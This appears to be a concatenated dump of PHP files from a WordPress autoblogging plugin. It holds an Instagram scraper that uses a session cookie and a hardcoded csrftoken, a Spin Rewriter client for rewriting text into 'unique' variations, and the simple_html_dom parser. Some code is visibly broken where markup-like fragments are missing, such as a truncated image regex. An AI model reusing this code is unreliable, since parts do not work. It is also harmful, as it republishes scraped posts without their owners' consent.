for($i = 0; $i < $length; $i ++) { $rand = mt_rand ( 0, $max ); $str .= $characters [$rand]; } return $str; } /** * Run this job * * @return array */ public function run(){ // Fetch Data $data = $this->fetch_data(); //var_dump($data); // Create new post when return data is not null if(!is_null($data) && is_array($data)){ $text = $data['text']; $instagram_url = 'https://www.instagram.com/p/'.$data['shortcode']; $title = substr($text, 0, 45); $this->log[] = array( 'message' => 'Fetch Instagram URL: '.$instagram_url.'', 'level' => 'log' ); // Build post content $content = '"'; $content .= $text.'
      '; $content .= 'source'; // extract first image preg_match_all ( '/]*src[\s]*=[\s]*"(.*?)".*?>/i', stripslashes ( $content ), $matches ); $image_url = $matches[1][0]; // Generate New Post $this->create_post($title, $content, $this->settings, $image_url); } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * fetch_data * * @return array */ public function fetch_data() { $instaScrape = new Auto_Robot_InstaScrape ( $this->ch, $this->api_data['session_id'], false ); $limit = 2000; $url = 'https://www.instagram.com/graphql/query/?'; //var_dump($url); $user_info = array(); // check if need to fetch data from specific instagram user if(!empty($this->settings['instagram_user'])){ try { $cg_it_user_numeric = $instaScrape->getUserIDFromName ( $this->settings['instagram_user'] ); // echo 'user id: '.$cg_it_user_numeric; // if (is_numeric ( $cg_it_user_numeric )) { // echo '
      Found the id:' . $cg_it_user_numeric; // update_post_meta ( $camp->camp_id, 'wp_instagram_user_' . trim ( $cg_it_user ), $cg_it_user_numeric ); // } } catch ( Exception $e ) { echo 'Failed:' . $e->getMessage (); return; } // $instagram_user_id = $this->get_id_by_user($this->settings['instagram_user']); // $user_info = $this->get_user_info($this->settings['instagram_user']); // if(is_numeric($instagram_user_id)){ // $req_params = [ // 'query_id' => '17880160963012870', // 'id' => $instagram_user_id, // 'first' => $limit, // ]; // }else{ // // Return error message when get instagram user id // return $instagram_user_id; // } }else{ $req_params = [ 'query_id' => '17882293912014529', 'tag_name' => $this->keyword, 'first' => $limit, ]; } // build url; if (is_numeric ( $cg_it_user_numeric )) { $wp_instagram_next_max_id = 0; // get items try { $result = $instaScrape->getUserItems ( $cg_it_user_numeric, 10, $wp_instagram_next_max_id ); //var_dump($jsonArr); } catch ( Exception $e ) { echo '
      Exception:' . $e->getMessage (); return; } } else { echo '
      Can not find valid numeric id for the user .. exiting'; return; } //var_dump($result); $feeds_data = array(); if(!is_null($result)){ // check if fetch data from specific instagram user if(!empty($this->settings['instagram_user'])){ $feeds_data = $result->data->user->edge_owner_to_timeline_media->edges; } foreach($feeds_data as $key => $value){ $feeds[$key]['id'] = $value->node->id; $feeds[$key]['text'] = $value->node->edge_media_to_caption->edges[0]->node->text; $feeds[$key]['shortcode'] = $value->node->shortcode; $feeds[$key]['display_url'] = $value->node->display_url; //$feeds[$key]['thumbnail_src'] = $value->node->thumbnail_src; $feeds[$key]['thumbnail_src'] = auto_robot_instagram_upload_image($value->node->thumbnail_src, $value->node->shortcode, $this->id); } } $rand = rand(0, 20); return $feeds[$rand]; } /** * Get ID by Instagram username * * @return int */ public function get_id_by_user($username) { $url = 'https://www.instagram.com/'.trim($username).'/?__a=1'; try { $ch = curl_init(); // Check if initialization had gone wrong* if ($ch === false) { throw new Exception('failed to initialize'); } // Exit when user not set instagram seesionid if(!isset($this->api_data['session_id']) || empty($this->api_data['session_id'])){ $this->log[] = array( 'message' => 'Note: Your Instagram SessionID is Empty, Please add your settings on integrations page!', 'level' => 'error' ); $this->log[] = array( 'message' => 'Here is the document of how to get your instagram sessionid', 'level' => 'error' ); return 'Error: Miss Instagram SessionID'; } curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_COOKIE, 'sessionid='.$this->api_data['session_id'].'; csrftoken=eqYUPd3nV0gDSWw43IYZjydziMndrn4l;'); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); curl_setopt($ch, CURLOPT_URL, trim($url)); $content = curl_exec($ch); // Check the return value of curl_exec(), too if ($content === false) { throw new Exception(curl_error($ch), curl_errno($ch)); } // Close curl handle curl_close($ch); // Extract the id preg_match('/"profilePage_(.*?)"/', $content, $matchs); $user_id = $matchs[1]; if(is_null($user_id)){ // Exit when user instagram seesionid not correct $this->log[] = array( 'message' => 'Fetch Instagram User ID Failed, Please check if your instagram sessionid is correct or not!', 'level' => 'error' ); $this->log[] = array( 'message' => 'Here is the document of how to get your instagram sessionid', 'level' => 'error' ); return 'Error: Fetch Instagram Failed'; } return $user_id; } catch(Exception $e) { trigger_error(sprintf( 'Curl failed with error #%d: %s', $e->getCode(), $e->getMessage()), E_USER_ERROR); } } } endif; includes/library/SpinRewriterAPI.php000064400000023662147600277620013542 0ustar00data = array(); $this->data['email_address'] = $email_address; $this->data['api_key'] = $api_key; $this->api_url = "http://www.spinrewriter.com/action/api"; } /** * Returns the API Quota (the number of made and remaining API calls for the 24-hour period). */ function getQuota() { $this->data['action'] = "api_quota"; $this->makeRequest(); return $this->parseResponse(); } /** * Returns the processed text with the {first option|second option} spinning syntax. * @param $text * @return String */ function getTextWithSpintax($text) { $this->data['action'] = "text_with_spintax"; $this->data['text'] = $text; $this->makeRequest(); return $this->parseResponse(); } /** * Returns one of the possible unique variations of the processed text. * @param $text * @return String */ function getUniqueVariation($text) { $this->data['action'] = "unique_variation"; $this->data['text'] = $text; $this->makeRequest(); return $this->parseResponse(); } /** * Returns one of the possible unique variations of given text that already contains valid spintax. No additional processing is done. * @param $text * @return String */ function getUniqueVariationFromSpintax($text) { $this->data['action'] = "unique_variation_from_spintax"; $this->data['text'] = $text; $this->makeRequest(); return $this->parseResponse(); } /** * Sets the list of protected keywords and key phrases. * @param $protected_terms (array of words, comma separated list, newline separated list) * @return boolean */ function setProtectedTerms($protected_terms) { $this->data['protected_terms'] = ""; if (is_array($protected_terms)) { // array of words foreach ($protected_terms as $protected_term) { $protected_term = trim($protected_term); if (is_string($protected_term) && strlen($protected_term) > 2) { $this->data['protected_terms'] .= $protected_term . "\n"; } } $this->data['protected_terms'] = trim($this->data['protected_terms']); return true; } else if (strpos($protected_terms, ",") !== false) { // comma separated list $protected_terms_explode = explode(",", $protected_terms); foreach ($protected_terms_explode as $protected_term) { $protected_term = trim($protected_term); if ($protected_term && strlen($protected_term) > 2) { $this->data['protected_terms'] .= $protected_term . "\n"; } } $this->data['protected_terms'] = trim($this->data['protected_terms']); return true; } else if (strpos(trim($protected_terms), "\n") !== false) { // newline separated list (the officially supported format) $protected_terms = trim($protected_terms); if (strlen($protected_terms) > 0) { $this->data['protected_terms'] = $protected_terms; return true; } else { return false; } } else if (is_string(trim($protected_terms)) && strlen(trim($protected_terms)) > 2 && strlen(trim($protected_terms)) < 50) { // a single word or phrase (the officially supported format) $this->data['protected_terms'] = trim($protected_terms); return true; } else { // invalid format return false; } } /** * Sets whether the One-Click Rewrite process automatically protects Capitalized Words outside the article's title. * @param $auto_protected_terms boolean * @return boolean */ function setAutoProtectedTerms($auto_protected_terms) { if ($auto_protected_terms == "true" || $auto_protected_terms === true || intval($auto_protected_terms) == 1) { $auto_protected_terms = "true"; } else { $auto_protected_terms = "false"; } $this->data['auto_protected_terms'] = $auto_protected_terms; return true; } /** * Sets the confidence level of the One-Click Rewrite process. * @param $confidence_level ('low', 'medium', 'high') * @return boolean */ function setConfidenceLevel($confidence_level) { $this->data['confidence_level'] = $confidence_level; return true; } /** * Sets whether the One-Click Rewrite process uses nested spinning syntax (multi-level spinning) or not. * @param $nested_spintax boolean * @return boolean */ function setNestedSpintax($nested_spintax) { if ($nested_spintax == "true" || $nested_spintax === true || intval($nested_spintax) == 1) { $nested_spintax = "true"; } else { $nested_spintax = "false"; } $this->data['nested_spintax'] = $nested_spintax; return true; } /** * Sets whether Spin Rewriter rewrites complete sentences on its own. * @param $auto_sentences boolean * @return boolean */ function setAutoSentences($auto_sentences) { if ($auto_sentences == "true" || $auto_sentences === true || intval($auto_sentences) == 1) { $auto_sentences = "true"; } else { $auto_sentences = "false"; } $this->data['auto_sentences'] = $auto_sentences; return true; } /** * Sets whether Spin Rewriter rewrites entire paragraphs on its own. * @param $auto_paragraphs boolean * @return boolean */ function setAutoParagraphs($auto_paragraphs) { if ($auto_paragraphs == "true" || $auto_paragraphs === true || intval($auto_paragraphs) == 1) { $auto_paragraphs = "true"; } else { $auto_paragraphs = "false"; } $this->data['auto_paragraphs'] = $auto_paragraphs; return true; } /** * Sets whether Spin Rewriter writes additional paragraphs on its own. * @param $auto_new_paragraphs boolean * @return boolean */ function setAutoNewParagraphs($auto_new_paragraphs) { if ($auto_new_paragraphs == "true" || $auto_new_paragraphs === true || intval($auto_new_paragraphs) == 1) { $auto_new_paragraphs = "true"; } else { $auto_new_paragraphs = "false"; } $this->data['auto_new_paragraphs'] = $auto_new_paragraphs; return true; } /** * Sets whether Spin Rewriter changes the entire structure of phrases and sentences. * @param $auto_sentence_trees boolean * @return boolean */ function setAutoSentenceTrees($auto_sentence_trees) { if ($auto_sentence_trees == "true" || $auto_sentence_trees === true || intval($auto_sentence_trees) == 1) { $auto_sentence_trees = "true"; } else { $auto_sentence_trees = "false"; } $this->data['auto_sentence_trees'] = $auto_sentence_trees; return true; } /** * Sets whether Spin Rewriter should only use synonyms (where available) when generating spun text. * @param $use_only_synonyms boolean * @return boolean */ function setUseOnlySynonyms($use_only_synonyms) { if ($use_only_synonyms == "true" || $use_only_synonyms === true || intval($use_only_synonyms) == 1) { $use_only_synonyms = "true"; } else { $use_only_synonyms = "false"; } $this->data['use_only_synonyms'] = $use_only_synonyms; return true; } /** * Sets whether Spin Rewriter should intelligently randomize the order of paragraphs and lists when generating spun text. * @param $reorder_paragraphs boolean * @return boolean */ function setReorderParagraphs($reorder_paragraphs) { if ($reorder_paragraphs == "true" || $reorder_paragraphs === true || intval($reorder_paragraphs) == 1) { $reorder_paragraphs = "true"; } else { $reorder_paragraphs = "false"; } $this->data['reorder_paragraphs'] = $reorder_paragraphs; return true; } /** * Sets whether Spin Rewriter should automatically enrich generated articles with headings, bullet points, etc. * @param $add_html_markup * @return bool */ function setAddHTMLMarkup($add_html_markup) { if ($add_html_markup == "true" || $add_html_markup === true || intval($add_html_markup) == 1) { $add_html_markup = "true"; } else { $add_html_markup = "false"; } $this->data['add_html_markup'] = $add_html_markup; return true; } /** * Sets whether Spin Rewriter should automatically convert line-breaks to HTML tags. * @param $use_html_linebreaks * @return bool */ function setUseHTMLLinebreaks($use_html_linebreaks) { if ($use_html_linebreaks == "true" || $use_html_linebreaks === true || intval($use_html_linebreaks) == 1) { $use_html_linebreaks = "true"; } else { $use_html_linebreaks = "false"; } $this->data['use_html_linebreaks'] = $use_html_linebreaks; return true; } /** * Sets the desired spintax format to be used with the returned spun text. * @param $spintax_format ('{|}', '{~}', '[|]', '[spin]') * @return boolean */ function setSpintaxFormat($spintax_format) { $this->data['spintax_format'] = $spintax_format; return true; } /** * Parses raw JSON response and returns a native PHP array. * @return String */ private function parseResponse() { return json_decode($this->response, true); } /** * Sends a request to the Spin Rewriter API and saves the unformatted response. */ private function makeRequest() { $data_raw = ""; foreach ($this->data as $key => $value){ $data_raw = $data_raw . $key . "=" . urlencode($value) . "&"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->api_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_raw); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $this->response = trim(curl_exec($ch)); curl_close($ch); } } includes/library/simple_html_dom.php000064400000163566147600277620013737 0ustar00 $maxLen) { $dom->clear(); return false; } return $dom->load($contents, $lowercase, $stripRN); } function str_get_html( $str, $lowercase = true, $forceTagsClosed = true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN = true, $defaultBRText = DEFAULT_BR_TEXT, $defaultSpanText = DEFAULT_SPAN_TEXT) { $dom = new simple_html_dom( null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText ); if (empty($str) || strlen($str) > MAX_FILE_SIZE) { $dom->clear(); return false; } return $dom->load($str, $lowercase, $stripRN); } function dump_html_tree($node, $show_attr = true, $deep = 0) { $node->dump($node); } class simple_html_dom_node { public $nodetype = HDOM_TYPE_TEXT; public $tag = 'text'; public $attr = array(); public $children = array(); public $nodes = array(); public $parent = null; public $_ = array(); public $tag_start = 0; private $dom = null; function __construct($dom) { $this->dom = $dom; $dom->nodes[] = $this; } function __destruct() { $this->clear(); } function __toString() { return $this->outertext(); } function clear() { $this->dom = null; $this->nodes = null; $this->parent = null; $this->children = null; } function dump($show_attr = true, $depth = 0) { echo str_repeat("\t", $depth) . $this->tag; if ($show_attr && count($this->attr) > 0) { echo '('; foreach ($this->attr as $k => $v) { echo "[$k]=>\"$v\", "; } echo ')'; } echo "\n"; if ($this->nodes) { foreach ($this->nodes as $node) { $node->dump($show_attr, $depth + 1); } } } function dump_node($echo = true) { $string = $this->tag; if (count($this->attr) > 0) { $string .= '('; foreach ($this->attr as $k => $v) { $string .= "[$k]=>\"$v\", "; } $string .= ')'; } if (count($this->_) > 0) { $string .= ' $_ ('; foreach ($this->_ as $k => $v) { if (is_array($v)) { $string .= "[$k]=>("; foreach ($v as $k2 => $v2) { $string .= "[$k2]=>\"$v2\", "; } $string .= ')'; } else { $string .= "[$k]=>\"$v\", "; } } $string .= ')'; } if (isset($this->text)) { $string .= " text: ({$this->text})"; } $string .= ' HDOM_INNER_INFO: '; if (isset($node->_[HDOM_INFO_INNER])) { $string .= "'" . $node->_[HDOM_INFO_INNER] . "'"; } else { $string .= ' NULL '; } $string .= ' children: ' . count($this->children); $string .= ' nodes: ' . count($this->nodes); $string .= ' tag_start: ' . $this->tag_start; $string .= "\n"; if ($echo) { echo $string; return; } else { return $string; } } function parent($parent = null) { // I am SURE that this doesn't work properly. // It fails to unset the current node from it's current parents nodes or // children list first. if ($parent !== null) { $this->parent = $parent; $this->parent->nodes[] = $this; $this->parent->children[] = $this; } return $this->parent; } function has_child() { return !empty($this->children); } function children($idx = -1) { if ($idx === -1) { return $this->children; } if (isset($this->children[$idx])) { return $this->children[$idx]; } return null; } function first_child() { if (count($this->children) > 0) { return $this->children[0]; } return null; } function last_child() { if (count($this->children) > 0) { return end($this->children); } return null; } function next_sibling() { if ($this->parent === null) { return null; } $idx = array_search($this, $this->parent->children, true); if ($idx !== false && isset($this->parent->children[$idx + 1])) { return $this->parent->children[$idx + 1]; } return null; } function prev_sibling() { if ($this->parent === null) { return null; } $idx = array_search($this, $this->parent->children, true); if ($idx !== false && $idx > 0) { return $this->parent->children[$idx - 1]; } return null; } function find_ancestor_tag($tag) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } if ($this->parent === null) { return null; } $ancestor = $this->parent; while (!is_null($ancestor)) { if (is_object($debug_object)) { $debug_object->debug_log(2, 'Current tag is: ' . $ancestor->tag); } if ($ancestor->tag === $tag) { break; } $ancestor = $ancestor->parent; } return $ancestor; } function innertext() { if (isset($this->_[HDOM_INFO_INNER])) { return $this->_[HDOM_INFO_INNER]; } if (isset($this->_[HDOM_INFO_TEXT])) { return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); } $ret = ''; foreach ($this->nodes as $n) { $ret .= $n->outertext(); } return $ret; } function outertext() { global $debug_object; if (is_object($debug_object)) { $text = ''; if ($this->tag === 'text') { if (!empty($this->text)) { $text = ' with text: ' . $this->text; } } $debug_object->debug_log(1, 'Innertext of tag: ' . $this->tag . $text); } if ($this->tag === 'root') { return $this->innertext(); } // todo: What is the use of this callback? Remove? if ($this->dom && $this->dom->callback !== null) { call_user_func_array($this->dom->callback, array($this)); } if (isset($this->_[HDOM_INFO_OUTER])) { return $this->_[HDOM_INFO_OUTER]; } if (isset($this->_[HDOM_INFO_TEXT])) { return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); } $ret = ''; if ($this->dom && $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]) { $ret = $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]->makeup(); } if (isset($this->_[HDOM_INFO_INNER])) { // todo:
      should either never have HDOM_INFO_INNER or always if ($this->tag !== 'br') { $ret .= $this->_[HDOM_INFO_INNER]; } } elseif ($this->nodes) { foreach ($this->nodes as $n) { $ret .= $this->convert_text($n->outertext()); } } if (isset($this->_[HDOM_INFO_END]) && $this->_[HDOM_INFO_END] != 0) { $ret .= 'tag . '>'; } return $ret; } function text() { if (isset($this->_[HDOM_INFO_INNER])) { return $this->_[HDOM_INFO_INNER]; } switch ($this->nodetype) { case HDOM_TYPE_TEXT: return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); case HDOM_TYPE_COMMENT: return ''; case HDOM_TYPE_UNKNOWN: return ''; } if (strcasecmp($this->tag, 'script') === 0) { return ''; } if (strcasecmp($this->tag, 'style') === 0) { return ''; } $ret = ''; // In rare cases, (always node type 1 or HDOM_TYPE_ELEMENT - observed // for some span tags, and some p tags) $this->nodes is set to NULL. // NOTE: This indicates that there is a problem where it's set to NULL // without a clear happening. // WHY is this happening? if (!is_null($this->nodes)) { foreach ($this->nodes as $n) { // Start paragraph after a blank line if ($n->tag === 'p') { $ret = trim($ret) . "\n\n"; } $ret .= $this->convert_text($n->text()); // If this node is a span... add a space at the end of it so // multiple spans don't run into each other. This is plaintext // after all. if ($n->tag === 'span') { $ret .= $this->dom->default_span_text; } } } return $ret; } function xmltext() { $ret = $this->innertext(); $ret = str_ireplace('', '', $ret); return $ret; } function makeup() { // text, comment, unknown if (isset($this->_[HDOM_INFO_TEXT])) { return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); } $ret = '<' . $this->tag; $i = -1; foreach ($this->attr as $key => $val) { ++$i; // skip removed attribute if ($val === null || $val === false) { continue; } $ret .= $this->_[HDOM_INFO_SPACE][$i][0]; //no value attr: nowrap, checked selected... if ($val === true) { $ret .= $key; } else { switch ($this->_[HDOM_INFO_QUOTE][$i]) { case HDOM_QUOTE_DOUBLE: $quote = '"'; break; case HDOM_QUOTE_SINGLE: $quote = '\''; break; default: $quote = ''; } $ret .= $key . $this->_[HDOM_INFO_SPACE][$i][1] . '=' . $this->_[HDOM_INFO_SPACE][$i][2] . $quote . $val . $quote; } } $ret = $this->dom->restore_noise($ret); return $ret . $this->_[HDOM_INFO_ENDSPACE] . '>'; } function find($selector, $idx = null, $lowercase = false) { $selectors = $this->parse_selector($selector); if (($count = count($selectors)) === 0) { return array(); } $found_keys = array(); // find each selector for ($c = 0; $c < $count; ++$c) { // The change on the below line was documented on the sourceforge // code tracker id 2788009 // used to be: if (($levle=count($selectors[0]))===0) return array(); if (($levle = count($selectors[$c])) === 0) { return array(); } if (!isset($this->_[HDOM_INFO_BEGIN])) { return array(); } $head = array($this->_[HDOM_INFO_BEGIN] => 1); $cmd = ' '; // Combinator // handle descendant selectors, no recursive! for ($l = 0; $l < $levle; ++$l) { $ret = array(); foreach ($head as $k => $v) { $n = ($k === -1) ? $this->dom->root : $this->dom->nodes[$k]; //PaperG - Pass this optional parameter on to the seek function. $n->seek($selectors[$c][$l], $ret, $cmd, $lowercase); } $head = $ret; $cmd = $selectors[$c][$l][4]; // Next Combinator } foreach ($head as $k => $v) { if (!isset($found_keys[$k])) { $found_keys[$k] = 1; } } } // sort keys ksort($found_keys); $found = array(); foreach ($found_keys as $k => $v) { $found[] = $this->dom->nodes[$k]; } // return nth-element or array if (is_null($idx)) { return $found; } elseif ($idx < 0) { $idx = count($found) + $idx; } return (isset($found[$idx])) ? $found[$idx] : null; } protected function seek($selector, &$ret, $parent_cmd, $lowercase = false) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } list($tag, $id, $class, $attributes, $cmb) = $selector; $nodes = array(); if ($parent_cmd === ' ') { // Descendant Combinator // Find parent closing tag if the current element doesn't have a closing // tag (i.e. void element) $end = (!empty($this->_[HDOM_INFO_END])) ? $this->_[HDOM_INFO_END] : 0; if ($end == 0) { $parent = $this->parent; while (!isset($parent->_[HDOM_INFO_END]) && $parent !== null) { $end -= 1; $parent = $parent->parent; } $end += $parent->_[HDOM_INFO_END]; } // Get list of target nodes $nodes_start = $this->_[HDOM_INFO_BEGIN] + 1; $nodes_count = $end - $nodes_start; $nodes = array_slice($this->dom->nodes, $nodes_start, $nodes_count, true); } elseif ($parent_cmd === '>') { // Child Combinator $nodes = $this->children; } elseif ($parent_cmd === '+' && $this->parent && in_array($this, $this->parent->children)) { // Next-Sibling Combinator $index = array_search($this, $this->parent->children, true) + 1; if ($index < count($this->parent->children)) $nodes[] = $this->parent->children[$index]; } elseif ($parent_cmd === '~' && $this->parent && in_array($this, $this->parent->children)) { // Subsequent Sibling Combinator $index = array_search($this, $this->parent->children, true); $nodes = array_slice($this->parent->children, $index); } // Go throgh each element starting at this element until the end tag // Note: If this element is a void tag, any previous void element is // skipped. foreach($nodes as $node) { $pass = true; // Skip root nodes if(!$node->parent) { $pass = false; } // Handle 'text' selector if($pass && $tag === 'text' && $node->tag === 'text') { $ret[array_search($node, $this->dom->nodes, true)] = 1; unset($node); continue; } // Skip if node isn't a child node (i.e. text nodes) if($pass && !in_array($node, $node->parent->children, true)) { $pass = false; } // Skip if tag doesn't match if ($pass && $tag !== '' && $tag !== $node->tag && $tag !== '*') { $pass = false; } // Skip if ID doesn't exist if ($pass && $id !== '' && !isset($node->attr['id'])) { $pass = false; } // Check if ID matches if ($pass && $id !== '' && isset($node->attr['id'])) { // Note: Only consider the first ID (as browsers do) $node_id = explode(' ', trim($node->attr['id']))[0]; if($id !== $node_id) { $pass = false; } } // Check if all class(es) exist if ($pass && $class !== '' && is_array($class) && !empty($class)) { if (isset($node->attr['class'])) { $node_classes = explode(' ', $node->attr['class']); if ($lowercase) { $node_classes = array_map('strtolower', $node_classes); } foreach($class as $c) { if(!in_array($c, $node_classes)) { $pass = false; break; } } } else { $pass = false; } } // Check attributes if ($pass && $attributes !== '' && is_array($attributes) && !empty($attributes)) { foreach($attributes as $a) { list ( $att_name, $att_expr, $att_val, $att_inv, $att_case_sensitivity ) = $a; // Handle indexing attributes (i.e. "[2]") /** * Note: This is not supported by the CSS Standard but adds * the ability to select items compatible to XPath (i.e. * the 3rd element within it's parent). * * Note: This doesn't conflict with the CSS Standard which * doesn't work on numeric attributes anyway. */ if (is_numeric($att_name) && $att_expr === '' && $att_val === '') { $count = 0; // Find index of current element in parent foreach ($node->parent->children as $c) { if ($c->tag === $node->tag) ++$count; if ($c === $node) break; } // If this is the correct node, continue with next // attribute if ($count === (int)$att_name) continue; } // Check attribute availability if ($att_inv) { // Attribute should NOT be set if (isset($node->attr[$att_name])) { $pass = false; break; } } else { // Attribute should be set // todo: "plaintext" is not a valid CSS selector! if ($att_name !== 'plaintext' && !isset($node->attr[$att_name])) { $pass = false; break; } } // Continue with next attribute if expression isn't defined if ($att_expr === '') continue; // If they have told us that this is a "plaintext" // search then we want the plaintext of the node - right? // todo "plaintext" is not a valid CSS selector! if ($att_name === 'plaintext') { $nodeKeyValue = $node->text(); } else { $nodeKeyValue = $node->attr[$att_name]; } if (is_object($debug_object)) { $debug_object->debug_log(2, 'testing node: ' . $node->tag . ' for attribute: ' . $att_name . $att_expr . $att_val . ' where nodes value is: ' . $nodeKeyValue ); } // If lowercase is set, do a case insensitive test of // the value of the selector. if ($lowercase) { $check = $this->match( $att_expr, strtolower($att_val), strtolower($nodeKeyValue), $att_case_sensitivity ); } else { $check = $this->match( $att_expr, $att_val, $nodeKeyValue, $att_case_sensitivity ); } if (is_object($debug_object)) { $debug_object->debug_log(2, 'after match: ' . ($check ? 'true' : 'false') ); } if (!$check) { $pass = false; break; } } } // Found a match. Add to list and clear node if ($pass) $ret[$node->_[HDOM_INFO_BEGIN]] = 1; unset($node); } // It's passed by reference so this is actually what this function returns. if (is_object($debug_object)) { $debug_object->debug_log(1, 'EXIT - ret: ', $ret); } } protected function match($exp, $pattern, $value, $case_sensitivity) { global $debug_object; if (is_object($debug_object)) {$debug_object->debug_log_entry(1);} if ($case_sensitivity === 'i') { $pattern = strtolower($pattern); $value = strtolower($value); } switch ($exp) { case '=': return ($value === $pattern); case '!=': return ($value !== $pattern); case '^=': return preg_match('/^' . preg_quote($pattern, '/') . '/', $value); case '$=': return preg_match('/' . preg_quote($pattern, '/') . '$/', $value); case '*=': return preg_match('/' . preg_quote($pattern, '/') . '/', $value); case '|=': /** * [att|=val] * * Represents an element with the att attribute, its value * either being exactly "val" or beginning with "val" * immediately followed by "-" (U+002D). */ return strpos($value, $pattern) === 0; case '~=': /** * [att~=val] * * Represents an element with the att attribute whose value is a * whitespace-separated list of words, one of which is exactly * "val". If "val" contains whitespace, it will never represent * anything (since the words are separated by spaces). Also if * "val" is the empty string, it will never represent anything. */ return in_array($pattern, explode(' ', trim($value)), true); } return false; } protected function parse_selector($selector_string) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } /** * Pattern of CSS selectors, modified from mootools (https://mootools.net/) * * Paperg: Add the colon to the attribute, so that it properly finds * like google does. * * Note: if you try to look at this attribute, you MUST use getAttribute * since $dom->x:y will fail the php syntax check. * * Notice the \[ starting the attribute? and the @? following? This * implies that an attribute can begin with an @ sign that is not * captured. This implies that an html attribute specifier may start * with an @ sign that is NOT captured by the expression. Farther study * is required to determine of this should be documented or removed. * * Matches selectors in this order: * * [0] - full match * * [1] - tag name * ([\w:\*-]*) * Matches the tag name consisting of zero or more words, colons, * asterisks and hyphens. * * [2] - id name * (?:\#([\w-]+)) * Optionally matches a id name, consisting of an "#" followed by * the id name (one or more words and hyphens). * * [3] - class names (including dots) * (?:\.([\w\.-]+))? * Optionally matches a list of classs, consisting of an "." * followed by the class name (one or more words and hyphens) * where multiple classes can be chained (i.e. ".foo.bar.baz") * * [4] - attributes * ((?:\[@?(?:!?[\w:-]+)(?:(?:[!*^$|~]?=)[\"']?(?:.*?)[\"']?)?(?:\s*?(?:[iIsS])?)?\])+)? * Optionally matches the attributes list * * [5] - separator * ([\/, >+~]+) * Matches the selector list separator */ // phpcs:ignore Generic.Files.LineLength $pattern = "/([\w:\*-]*)(?:\#([\w-]+))?(?:|\.([\w\.-]+))?((?:\[@?(?:!?[\w:-]+)(?:(?:[!*^$|~]?=)[\"']?(?:.*?)[\"']?)?(?:\s*?(?:[iIsS])?)?\])+)?([\/, >+~]+)/is"; preg_match_all( $pattern, trim($selector_string) . ' ', // Add final ' ' as pseudo separator $matches, PREG_SET_ORDER ); if (is_object($debug_object)) { $debug_object->debug_log(2, 'Matches Array: ', $matches); } $selectors = array(); $result = array(); foreach ($matches as $m) { $m[0] = trim($m[0]); // Skip NoOps if ($m[0] === '' || $m[0] === '/' || $m[0] === '//') { continue; } // Convert to lowercase if ($this->dom->lowercase) { $m[1] = strtolower($m[1]); } // Extract classes if ($m[3] !== '') { $m[3] = explode('.', $m[3]); } /* Extract attributes (pattern based on the pattern above!) * [0] - full match * [1] - attribute name * [2] - attribute expression * [3] - attribute value * [4] - case sensitivity * * Note: Attributes can be negated with a "!" prefix to their name */ if($m[4] !== '') { preg_match_all( "/\[@?(!?[\w:-]+)(?:([!*^$|~]?=)[\"']?(.*?)[\"']?)?(?:\s+?([iIsS])?)?\]/is", trim($m[4]), $attributes, PREG_SET_ORDER ); // Replace element by array $m[4] = array(); foreach($attributes as $att) { // Skip empty matches if(trim($att[0]) === '') { continue; } $inverted = (isset($att[1][0]) && $att[1][0] === '!'); $m[4][] = array( $inverted ? substr($att[1], 1) : $att[1], // Name (isset($att[2])) ? $att[2] : '', // Expression (isset($att[3])) ? $att[3] : '', // Value $inverted, // Inverted Flag (isset($att[4])) ? strtolower($att[4]) : '', // Case-Sensitivity ); } } // Sanitize Separator if ($m[5] !== '' && trim($m[5]) === '') { // Descendant Separator $m[5] = ' '; } else { // Other Separator $m[5] = trim($m[5]); } // Clear Separator if it's a Selector List if ($is_list = ($m[5] === ',')) { $m[5] = ''; } // Remove full match before adding to results array_shift($m); $result[] = $m; if ($is_list) { // Selector List $selectors[] = $result; $result = array(); } } if (count($result) > 0) { $selectors[] = $result; } return $selectors; } function __get($name) { if (isset($this->attr[$name])) { return $this->convert_text($this->attr[$name]); } switch ($name) { case 'outertext': return $this->outertext(); case 'innertext': return $this->innertext(); case 'plaintext': return $this->text(); case 'xmltext': return $this->xmltext(); default: return array_key_exists($name, $this->attr); } } function __set($name, $value) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } switch ($name) { case 'outertext': return $this->_[HDOM_INFO_OUTER] = $value; case 'innertext': if (isset($this->_[HDOM_INFO_TEXT])) { return $this->_[HDOM_INFO_TEXT] = $value; } return $this->_[HDOM_INFO_INNER] = $value; } if (!isset($this->attr[$name])) { $this->_[HDOM_INFO_SPACE][] = array(' ', '', ''); $this->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE; } $this->attr[$name] = $value; } function __isset($name) { switch ($name) { case 'outertext': return true; case 'innertext': return true; case 'plaintext': return true; } //no value attr: nowrap, checked selected... return (array_key_exists($name, $this->attr)) ? true : isset($this->attr[$name]); } function __unset($name) { if (isset($this->attr[$name])) { unset($this->attr[$name]); } } function convert_text($text) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } $converted_text = $text; $sourceCharset = ''; $targetCharset = ''; if ($this->dom) { $sourceCharset = strtoupper($this->dom->_charset); $targetCharset = strtoupper($this->dom->_target_charset); } if (is_object($debug_object)) { $debug_object->debug_log(3, 'source charset: ' . $sourceCharset . ' target charaset: ' . $targetCharset ); } if (!empty($sourceCharset) && !empty($targetCharset) && (strcasecmp($sourceCharset, $targetCharset) != 0)) { // Check if the reported encoding could have been incorrect and the text is actually already UTF-8 if ((strcasecmp($targetCharset, 'UTF-8') 